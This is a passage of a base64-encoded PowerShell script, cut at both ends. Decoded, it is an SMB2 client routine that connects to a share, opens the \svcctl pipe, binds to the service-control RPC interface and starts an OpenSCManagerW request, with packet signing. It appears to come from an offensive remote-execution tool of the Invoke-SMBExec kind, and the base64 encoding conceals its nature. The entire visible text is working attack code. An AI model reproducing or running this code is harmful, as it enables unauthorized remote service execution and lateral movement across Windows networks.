aWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ0V4aXQnDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIGlmKCRTTUJFeGVjX2ZhaWxlZCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIEJSRUFLIFNNQl9leGVjdXRlX2xvb3ANCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIH0NCg0KICAgICAgICB9ICANCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICANCiAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1RyZWVDb25uZWN0Jw0KDQogICAgICAgICAgICA6U01CX2V4ZWN1dGVfbG9vcCB3aGlsZSAoJFNNQl9jbGllbnRfc3RhZ2UgLW5lICdleGl0JykNCiAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgIHN3aXRjaCAoJFNNQl9jbGllbnRfc3RhZ2UpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICdUcmVlQ29ubmVjdCcNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfbWVzc2FnZV9JRCArPSAxDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwMywweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0ZsYWdzIl0gPSAweDA4LDB4MDAsMHgwMCwweDAwICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9kYXRhID0gR2V0LVBhY2tldFNNQjJUcmVlQ29ubmVjdFJlcXVlc3QgJFNNQl9wYXRoX2J5dGVzDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGEgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRTTUIyX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduID0gJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ0NyZWF0ZVJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAnQ3JlYXRlUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfdHJlZV9JRCA9IDB4MDEsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfbmFtZWRfcGlwZV9ieXRlcyA9IDB4NzMsMHgwMCwweDc2LDB4MDAsMHg2MywweDAwLDB4NjMsMHgwMCwweDc0LDB4MDAsMHg2YywweDAwICMgXHN2Y2N0bA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfbWVzc2FnZV9JRCArPSAxDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwNSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfRmxhZ3MiXSA9IDB4MDgsMHgwMCwweDAwLDB4MDAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMkNyZWF0ZVJlcXVlc3RGaWxlICRTTUJfbmFtZWRfcGlwZV9ieXRlcw0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGFbIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9TaGFyZV9BY2Nlc3MiXSA9IDB4MDcsMHgwMCwweDAwLDB4MDAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9kYXRhICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFNNQjJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ24gPSAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JQQ0JpbmQnDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ1JQQ0JpbmQnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfbmFtZWRfcGlwZV9ieXRlcyA9IDB4NzMsMHgwMCwweDc2LDB4MDAsMHg2MywweDAwLDB4NjMsMHgwMCwweDc0LDB4MDAsMHg2YywweDAwICMgXHN2Y2N0bA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9maWxlX0lEID0gJFNNQl9jbGllbnRfcmVjZWl2ZVsxMzIuLjE0N10NCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlciA9IEdldC1QYWNrZXRTTUIySGVhZGVyIDB4MDksMHgwMCAkU01CMl9tZXNzYWdlX0lEICRTTUIyX3RyZWVfSUQgJFNNQl9zZXNzaW9uX0lEDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0NyZWRpdFJlcXVlc3QiXSA9IDB4N2YsMHgwMA0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0ZsYWdzIl0gPSAweDA4LDB4MDAsMHgwMCwweDAwICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9kYXRhID0gR2V0LVBhY2tldFNNQjJXcml0ZVJlcXVlc3QgJFNNQl9maWxlX0lEDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfZGF0YVsiU01CMldyaXRlUmVxdWVzdF9MZW5ndGgiXSA9IDB4NDgsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDX2RhdGEgPSBHZXQtUGFja2V0UlBDQmluZCAxIDB4YjgsMHgxMCAweDAxIDB4MDAsMHgwMCAkU01CX25hbWVkX3BpcGVfVVVJRCAweDAyLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGFfbGVuZ3RoID0gJFNNQjJfZGF0YS5MZW5ndGggKyAkUlBDX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRSUENfZGF0YV9sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ24gPSAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhICsgJFJQQ19kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJEhNQUNfU0hBMjU2LkNvbXB1dGVIYXNoKCRTTUIyX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJFNNQjJfc2lnbmF0dXJlWzAuLjE1XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CMl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhICsgJFJQQ19kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdSZWFkUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlX25leHQgPSAnT3BlblNDTWFuYWdlclcnDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAnUmVhZFJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgU3RhcnQtU2xlZXAgLW0gJFNsZWVwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9tZXNzYWdlX0lEICs9IDENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXIgPSBHZXQtUGFja2V0U01CMkhlYWRlciAweDA4LDB4MDAgJFNNQjJfbWVzc2FnZV9JRCAkU01CMl90cmVlX0lEICRTTUJfc2Vzc2lvbl9JRA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9DcmVkaXRSZXF1ZXN0Il0gPSAweDdmLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0Q2hhcmdlIl0gPSAweDEwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9GbGFncyJdID0gMHgwOCwweDAwLDB4MDAsMHgwMCAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfZGF0YSA9IEdldC1QYWNrZXRTTUIyUmVhZFJlcXVlc3QgJFNNQl9maWxlX0lEDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRTTUIyX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduID0gJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMi4uMTVdKSAtbmUgJzAzLTAxLTAwLTAwJykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICRTTUJfY2xpZW50X3N0YWdlX25leHQNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdTdGF0dXNQZW5kaW5nJw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnU3RhdHVzUGVuZGluZycNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMi4uMTVdKSAtbmUgJzAzLTAxLTAwLTAwJykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICRTTUJfY2xpZW50X3N0YWdlX25leHQNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICdPcGVuU0NNYW5hZ2VyVycNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfbWVzc2FnZV9JRCA9IDMwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwOSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfRmxhZ3MiXSA9IDB4MDgsMHgwMCwweDAwLDB4MDAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TQ01fZGF0YSA9IEdldC1QYWNrZXRTQ01PcGVuU0NNYW5hZ2VyVyAkU01CX3NlcnZpY2VfYnl0ZXMgJFNNQl9zZXJ2aWNlX2xlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNDTV9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMldyaXRlUmVxdWVzdCAkU01CX2ZpbGVfSUQgJFNDTV9kYXRhLmxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUENfZGF0YSA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJFNDTV9kYXRhLmxlbmd0aCAwIDAgMHgwMSwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwZiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQ19kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUIyX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFJQQ19kYXRhX2xlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbiA9ICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9T